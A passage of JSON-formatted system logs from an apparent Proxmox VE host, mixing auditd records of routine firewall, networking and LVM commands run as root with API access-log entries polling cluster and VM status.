a3=b items=2 ppid=1156 pid=58049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.999:65387): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965758790,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964305969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.969:60455): arch=c000003e syscall=59 success=yes exit=0 a0=62ae878ace90 a1=62ae878a9c10 a2=62ae8788b680 a3=5 items=2 ppid=58042 pid=58048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385993,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.993:65386): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965756766,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964305965,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.965:60454): arch=c000003e syscall=59 success=yes exit=0 a0=62ae85365ac8 a1=7fffbf194b70 a2=62ae8788b680 a3=62ae8534924e items=2 ppid=58042 pid=58044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385987,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.987:65385): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965756766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964305963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.963:60453): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbf194b30 a1=62ae878a8b00 a2=62ae8788b680 a3=5 items=2 ppid=58042 pid=58043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385983,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.983:65384): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965756766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 520"} {"@timestamp":1781964305958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.958:60451): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385974,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.974:65383): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965755750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964305948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.948:60450): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385967,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.967:65382): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965755750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964305939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.939:60449): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385964,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.964:65381): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965755750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964305932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.932:60448): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e0120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385961,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.961:65380): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965754168,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964305922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.922:60447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136610 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385959,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.959:65379): argc=1 a0=\"date\""} {"@timestamp":1781965754168,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781964305913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.913:60446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03f90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385955,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.955:65377): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965752761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964304240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964304.240:60445): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382870 a1=64f8d73de500 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385949,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.949:65376): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965752761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964304200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964304.200:60444): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417a70 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385941,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.941:65375): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965752761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964303.673:60443): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385937,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.937:65374): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965752761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964303.664:60440): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385929,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.929:65373): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965751141,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135869,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.869:64332): arch=c000003e syscall=59 success=yes exit=0 a0=607d4d99ad30 a1=607d4d9a6f00 a2=607d4d974680 a3=5 items=2 ppid=61805 pid=61811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385920,"@rawstring":"node=pve type=EXECVE msg=audit(1781965385.920:65372): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965751141,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.866:64331): arch=c000003e syscall=59 success=yes exit=0 a0=607d2da40ac8 a1=7ffe215424e0 a2=607d4d974680 a3=607d2da2424e items=2 ppid=61805 pid=61807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965384782,"@rawstring":"node=pve type=EXECVE msg=audit(1781965384.782:65371): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965750032,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781965135865,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.865:64330): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe215424a0 a1=607d4d9963d0 a2=607d4d974680 a3=5 items=2 ppid=61805 pid=61806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965384754,"@rawstring":"node=pve type=EXECVE msg=audit(1781965384.754:65370): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965750032,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965135861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.861:64328): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382821,"@rawstring":"node=pve type=EXECVE msg=audit(1781965382.821:65369): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965748110,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781965135855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.855:64327): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382811,"@rawstring":"node=pve type=EXECVE msg=audit(1781965382.811:65366): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965748110,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965135848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.848:64326): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965380237,"@rawstring":"node=pve type=EXECVE msg=audit(1781965380.237:65363): argc=1 a0=\"clear\""} {"@timestamp":1781965748110,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965135841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.841:64325): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965377803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965377.803:65362): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965748110,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.833:64324): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965377793,"@rawstring":"node=pve type=EXECVE msg=audit(1781965377.793:65359): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965746779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.830:64323): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d92f9f96740 items=0 ppid=1156 pid=61800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965375909,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.909:65356): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965746779,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965135828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.828:64322): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0fcbd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375903,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.903:65355): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965746779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781965135822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.822:64321): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fac0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375903,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.903:65354): argc=1 a0=\"date\""} {"@timestamp":1781965744693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.815:64320): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ac50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375897,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.897:65352): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965744693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 942"} {"@timestamp":1781965135809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.809:64319): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0debe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375891,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.891:65351): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965744693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965135802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.802:64318): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ac50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375883,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.883:65350): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965744693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965135797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.797:64317): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae5130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375873,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.873:65349): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965743679,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965135791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.791:64316): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375863,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.863:65348): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965743679,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.781:64315): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375859,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.859:65346): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965741972,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 945"} {"@timestamp":1781965135776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.776:64314): arch=c000003e syscall=59 success=yes exit=0 a0=56cb9374ab60 a1=56cb93756a30 a2=56cb93724680 a3=5 items=2 ppid=61786 pid=61792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375853,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.853:65345): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965741972,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.772:64313): arch=c000003e syscall=59 success=yes exit=0 a0=56cb794c0ac8 a1=7ffd2db01c00 a2=56cb93724680 a3=56cb794a424e items=2 ppid=61786 pid=61788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375849,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.849:65344): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965740755,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965135770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.770:64312): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd2db01bc0 a1=56cb93746200 a2=56cb93724680 a3=5 items=2 ppid=61786 pid=61787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375843,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.843:65343): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965740755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781965135766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.766:64310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375837,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.837:65342): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965740755,"@rawstring":"::ffff:192.168.1.192 